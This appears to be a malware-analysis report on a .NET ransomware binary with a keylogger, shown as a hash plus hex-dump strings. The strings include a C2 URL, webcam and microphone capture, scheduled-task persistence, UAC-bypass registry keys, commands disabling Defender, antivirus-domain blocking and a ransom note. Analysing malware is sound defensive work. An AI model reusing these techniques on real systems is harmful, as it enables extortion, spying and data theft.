socoliveaw.tv_ransome.exe
Ransomware with keylogger and C2
.NET AES file encryptor with ransom demands.NET hook keylogger stages and transmits captured keys
SHA-25689405abc783670b2e4d58de5611c9f3facc0b690e73cefdc888e35ec6dbeaa7e
Evidence
0x39840070282d00000a0b077e27000004284d.p(-.....~'...(M
0x399400000a00077e28000004282000000a00.....~(...( ....
0x39a4007e2900000413041613052b1b110411.~)........+....
0x39b405940c000815fe0116fe010d092d022b.............-.+
0x39c41300110517581305110511048e69fe04.....X.......i..
0x39d40d092dd907283200000a0000de052600..-..(2.......&.
0x39e400de0000002a0000011000000000cb00.....*..........
0x39f467320105010000011e02282600000a2ag2........(&...*
0x3a0442534a4201000100000000000c000000BSJB............
0x3a1476342e302e3330333139000000000500v4.0.30319......
0x3a246c00000094160000237e000000170000l.......#~......
0x3a34c41c000023537472696e677300000000....#Strings....
0x3a44c43300000c1e000023555300d0510000.3......#US..Q..
0x3a54100000002347554944000000e0510000....#GUID....Q..
0x3a647407000023426c6f6200000000000000t...#Blob.......
0x3a7402000001579fa2350902000000fa2533....W..5......%3
0x3a8400160000010000006b0000000e000000........k.......
0x3a943d000000750000005c00000004000000=...u...\.......
0x3aa4d6000000150000002e00000001000000................
0x3ab426000000050000000500000005000000&...............
0x3ac4050000001e0000000100000001000000................
0x3ad4050000000500000000000a0001000000................
0x3ae400000600b300ac000600ba00ac000600................
0x3af45201460106001802ac0006002502ac00R.F.........%...
0x3b040600b303 ....
0x69ef53243c3e395f5f436163686564416e6fS$<>9__CachedAno
0x69ff6e796d6f75734d6574686f6444656c65nymousMethodDele
0x6a0f67617465313900456e64735769746800gate19.EndsWith.
0x6a1f53797374656d2e53656375726974792eSystem.Security.
0x6a2f43727970746f67726170687900416573Cryptography.Aes
0x6a3f0053796d6d6574726963416c676f7269.SymmetricAlgori
0x6a4f74686d007365745f4b6579007365745fthm.set_Key.set_
0x6a5f4956004943727970746f5472616e7366IV.ICryptoTransf
0x6a6f6f726d00437265617465456e63727970orm.CreateEncryp
0x6a7f746f720043727970746f53747265616dtor.CryptoStream
0x6a8f0043727970746f53747265616d4d6f64.CryptoStreamMod
0x6a9f6500577269746500466c75736846696ee.Write.FlushFin
0x6aaf616c426c6f636b00476574456e766972alBlock.GetEnvir
0x6abf6f6e6d656e745661726961626c650044onmentVariable.D
0x6acf656c6574655375624b65795472656500eleteSubKeyTree.
0x6adf43757272656e74557365720043726561CurrentUser.Crea
0x6aef74655375624b657900417070656e6454teSubKey.AppendT
0x6aff65787400436f6c6f72006765745f426cext.Color.get_Bl
0x6b0f61636b00466f6e740042727573686573ack.Font.Brushes
0x6b1f004272757368006765745f5265640044.Brush.get_Red.D
0x6b2f726177537472696e67003c5370616d4drawString.<SpamM
0x6b3f6f7573653e625f5f3161004353243c3eouse>b__1a.CS$<>
0x6b4f395f5f436163686564416e6f6e796d6f9__CachedAnonymo
0x6b5f75734d6574686f6444656c6567617465usMethodDelegate
0x6b6f3162003c426c6f636b5461736b4d616e1b.<BlockTaskMan
0x6b7f616765723e625f5f3163004353243c3eager>b__1c.CS$<>
0x6b8f395f5f436163686564416e6f6e796d6f9__CachedAnonymo
0x6b9f75734d6574686f6444656c6567617465usMethodDelegate
0x6baf3164004b696c6c003c4d6f6e69746f721d.Kill.<Monitor
0x6bbf416e64526573746172743e625f5f3165AndRestart>b__1e
0x6bcf004353243c3e395f5f43616368656441.CS$<>9__CachedA
0x6bdf6e6f6e796d6f75734d6574686f644465nonymousMethodDe
0x6bef6c656761746531660050726f63657373legate1f.Process
0x6bff5072696f72697479436c617373007365PriorityClass.se
0x6c0f745f5072696f72697479436c61737300t_PriorityClass.
0x6c1f3c3e635f5f446973706c6179436c6173<>c__DisplayClas
0x6c2f73323500466f72 s25.For
0x6d745374796c65007365745f546f704d6f73Style.set_TopMos
0x6d8474007365745f4b657950726576696577t.set_KeyPreview
0x6d94006164645f4b6579446f776e00457665.add_KeyDown.Eve
0x6da46e7448616e646c6572006164645f4c6fntHandler.add_Lo
0x6db46164004170706c69636174696f6e0052ad.Application.R
0x6dc4756e0000002968007400740070003a00un...)h.t.t.p.:.
0x6dd42f002f0073006f0063006f006c006900/./.s.o.c.o.l.i.
0x6de476006500610077002e00740076000013v.e.a.w...t.v...
0x6df44b00650079006c006f00670067006500K.e.y.l.o.g.g.e.
0x6e04720000175b00480048003a006d006d00r...[.H.H.:.m.m.
0x6e143a00730073005d002000000720003a00:.s.s.]. ... .:.
0x6e24200000050d000a00004f43003a005c00 ........OC.:.\.
0x6e34500072006f006700720061006d004400P.r.o.g.r.a.m.D.
0x6e446100740061005c00570069006e006400a.t.a.\.W.i.n.d.
0x6e546f007700730055007000640061007400o.w.s.U.p.d.a.t.
0x6e6465005c006b00650079006c006f006700e.\.k.e.y.l.o.g.
0x6e742e00740078007400000f4b0045005900..t.x.t...K.E.Y.
0x6e844c004f0047003a000001000d57006500L.O.G.:.....W.e.
0x6e946200630061006d00000f770065006200b.c.a.m...w.e.b.
0x6ea4630061006d005f0000092e0062006d00c.a.m._.....b.m.
0x6eb47000000f570045004200430041004d00p...W.E.B.C.A.M.
0x6ec43a0000154d006900630072006f007000:...M.i.c.r.o.p.
0x6ed468006f006e00650000096d0069006300h.o.n.e...m.i.c.
0x6ee45f0000092e00770061007600001d7000_.....w.a.v...p.
0x6ef46f007700650072007300680065006c00o.w.e.r.s.h.e.l.
0x6f046c002e0065007800650000819d2d0043l...e.x.e....-.C
0x6f14006f006d006d0061006e006400200022.o.m.m.a.n.d. ."
0x6f24004100640064002d0054007900700065.A.d.d.-.T.y.p.e
0x6f340020002d0041007300730065006d0062. .-.A.s.s.e.m.b
0x6f44006c0079004e0061006d006500200053.l.y.N.a.m.e. .S
0x6f540079007300740065006d002e00570069.y.s.t.e.m...W.i
0x6f64006e0064006f00770073002e0046006f.n.d.o.w.s...F.o
0x6f740072006d0073003b0020002400720065.r.m.s.;. .$.r.e
0x6f8400630020003d0020004e00650077002d.c. .=. .N.e.w.-
0x6f94004f0062006a00650063007400200053.O.b.j.e.c.t. .S
0x6fa40079007300740065006d002e00570069.y.s.t.e.m...W.i
0x6fb4006e0064006f00770073002e0046006f.n.d.o.w.s...F.o
0x6fc40072006d0073002e004100780048006f.r.m.s...A.x.H.o
0x6fd40073007400280027007b003000460035.s.t.(.'.{.0.F.5
0x6fe400380031003900450030002d00330038.8.1.9.E.0.-.3.8
0x6ff400410044002d0031003100440030002d.A.D.-.1.1.D.0.-
0x70040041003400300034002d003000300041.A.4.0.4.-.0.0.A
0x70140030004300 .0.C.
0x751e6100720065005c004e0061006e006f00a.r.e.\.N.a.n.o.
0x752e43006f0072006500000f560065007200C.o.r.e...V.e.r.
0x753e730069006f006e00000b31002e003200s.i.o.n...1...2.
0x754e2e003000001749006e00730074006100..0...I.n.s.t.a.
0x755e6c006c00440061007400650000117300l.l.D.a.t.e...s.
0x756e630068007400610073006b0073000055c.h.t.a.s.k.s..U
0x757e2f006300720065006100740065002000/.c.r.e.a.t.e. .
0x758e2f0074006e00200022004d0069006300/.t.n. .".M.i.c.
0x759e72006f0073006f006600740057006900r.o.s.o.f.t.W.i.
0x75ae6e0064006f0077007300550070006400n.d.o.w.s.U.p.d.
0x75be610074006500220020002f0074007200a.t.e.". ./.t.r.
0x75ce200022000021220020002f0073006300 ."..!". ./.s.c.
0x75de20006f006e006c006f0067006f006e00 .o.n.l.o.g.o.n.
0x75ee20002f00660000615300590053005400 ./.f..aS.Y.S.T.
0x75fe45004d005c0043007500720072006500E.M.\.C.u.r.r.e.
0x760e6e00740043006f006e00740072006f00n.t.C.o.n.t.r.o.
0x761e6c005300650074005c0043006f006e00l.S.e.t.\.C.o.n.
0x762e740072006f006c005c00530065007300t.r.o.l.\.S.e.s.
0x763e730069006f006e0020004d0061006e00s.i.o.n. .M.a.n.
0x764e6100670065007200001742006f006f00a.g.e.r...B.o.o.
0x765e74004500780065006300750074006500t.E.x.e.c.u.t.e.
0x766e00030a00001363006d00730074007000......c.m.s.t.p.
0x767e2e0065007800650000092f0061007500..e.x.e.../.a.u.
0x768e200000196500760065006e0074007600 ...e.v.e.n.t.v.
0x769e770072002e0065007800650000808348w.r...e.x.e....H
0x76ae004b00450059005f0043005500520052.K.E.Y._.C.U.R.R
0x76be0045004e0054005f0055005300450052.E.N.T._.U.S.E.R
0x76ce005c0053006f00660074007700610072.\.S.o.f.t.w.a.r
0x76de0065005c0043006c0061007300730065.e.\.C.l.a.s.s.e
0x76ee0073005c006d0073002d007300650074.s.\.m.s.-.s.e.t
0x76fe00740069006e00670073005c00730068.t.i.n.g.s.\.s.h
0x770e0065006c006c005c006f00700065006e.e.l.l.\.o.p.e.n
0x771e005c0063006f006d006d0061006e0064.\.c.o.m.m.a.n.d
0x772e00011f440065006c0065006700610074...D.e.l.e.g.a.t
0x773e00650045007800650063007500740065.e.E.x.e.c.u.t.e
0x774e00001b66006f006400680065006c0070...f.o.d.h.e.l.p
0x775e00650072002e0065007800650000813d.e.r...e.x.e...=
0x776e2d0043006f006d006d0061006e006400-.C.o.m.m.a.n.d.
0x777e200022005300650074002d004d007000 .".S.e.t.-.M.p.
0x778e50007200650066006500720065006e00P.r.e.f.e.r.e.n.
0x779e6300650020002d004400690073006100c.e. .-.D.i.s.a.
0x77ae62006c0065005200650061006c007400b.l.e.R.e.a.l.t.
0x77be69006d0065004d006f006e0069007400i.m.e.M.o.n.i.t.
0x77ce6f00720069006e006700200024007400o.r.i.n.g. .$.t.
0x77de7200750065003b002000530065007400r.u.e.;. .S.e.t.
0x77ee2d004d00700050007200650066006500-.M.p.P.r.e.f.e.
0x77fe720065006e006300650020002d004400r.e.n.c.e. .-.D.
0x780e69007300610062006c00650049004f00i.s.a.b.l.e.I.O.
0x846a66000017430072006500640065006e00f...C.r.e.d.e.n.
0x847a7400690061006c007300001342006f00t.i.a.l.s...B.o.
0x848a6f006b006d00610072006b007300000fo.k.m.a.r.k.s...
0x849a2e00730074006f006c0065006e00001b..s.t.o.l.e.n...
0x84aa6b006100730070006500720073006b00k.a.s.p.e.r.s.k.
0x84ba79002e0063006f006d0000156d006300y...c.o.m...m.c.
0x84ca61006600650065002e0063006f006d00a.f.e.e...c.o.m.
0x84da0019730079006d0061006e0074006500..s.y.m.a.n.t.e.
0x84ea63002e0063006f006d00001361007600c...c.o.m...a.v.
0x84fa6100730074002e0063006f006d00001fa.s.t...c.o.m...
0x850a62006900740064006500660065006e00b.i.t.d.e.f.e.n.
0x851a6400650072002e0063006f006d000011d.e.r...c.o.m...
0x852a65007300650074002e0063006f006d00e.s.e.t...c.o.m.
0x853a001d7400720065006e0064006d006900..t.r.e.n.d.m.i.
0x854a630072006f002e0063006f006d000021c.r.o...c.o.m..!
0x855a6d0061006c0077006100720065006200m.a.l.w.a.r.e.b.
0x856a79007400650073002e0063006f006d00y.t.e.s...c.o.m.
0x857a001d7600690072007500730074006f00..v.i.r.u.s.t.o.
0x858a740061006c002e0063006f006d000015t.a.l...c.o.m...
0x859a3100320037002e0030002e0030002e001.2.7...0...0...
0x85aa31002000001b570061006e006e0061001. ...W.a.n.n.a.
0x85ba4300720079004d007500740065007800C.r.y.M.u.t.e.x.
0x85ca00194c006f0063006b00420069007400..L.o.c.k.B.i.t.
0x85da4d007500740065007800002148006900M.u.t.e.x..!H.i.
0x85ea6400640065006e005400650061007200d.d.e.n.T.e.a.r.
0x85fa73004d00750074006500780000135200s.M.u.t.e.x...R.
0x860a790075006b004d007500740065007800y.u.k.M.u.t.e.x.
0x861a001552004500760069006c004d007500..R.E.v.i.l.M.u.
0x862a740065007800000f47006c006f006200t.e.x...G.l.o.b.
0x863a61006c005c000011770061006c006c00a.l.\...w.a.l.l.
0x864a2e0062006d007000003359004f005500..b.m.p..3Y.O.U.
0x865a52002000460049004c00450053002000R. .F.I.L.E.S. .
0x866a410052004500200045004e0043005200A.R.E. .E.N.C.R.
0x867a590050005400450044002100000b4100Y.P.T.E.D.!...A.
0x868a7200690061006c00002b43006f006e00r.i.a.l..+C.o.n.
0x869a740072006f006c002000500061006e00t.r.o.l. .P.a.n.
0x86aa65006c005c004400650073006b007400e.l.\.D.e.s.k.t.
0x86ba6f0070000013570061006c006c007000o.p...W.a.l.l.p.
0x86ca6100700065007200001d570061006c00a.p.e.r...W.a.l.
0x86da6c007000610070006500720053007400l.p.a.p.e.r.S.t.
0x86ea79006c006500000332000080eb3d003dy.l.e...2....=.=
0x86fa003d002000520041004e0053004f004d.=. .R.A.N.S.O.M
0x870a0020004e004f005400450020003d003d. .N.O.T.E. .=.=
0x871a003d000a0059006f0075007200200066.=...Y.o.u.r. .f
0x872a0069006c006500730020006800610076.i.l.e.s. .h.a.v
0x873a00650020006200650065006e00200065.e. .b.e.e.n. .e
0x874a006e0063007200790070007400650064.n.c.r.y.p.t.e.d
0x875a00200077006900740068002000410045. .w.i.t.h. .A.E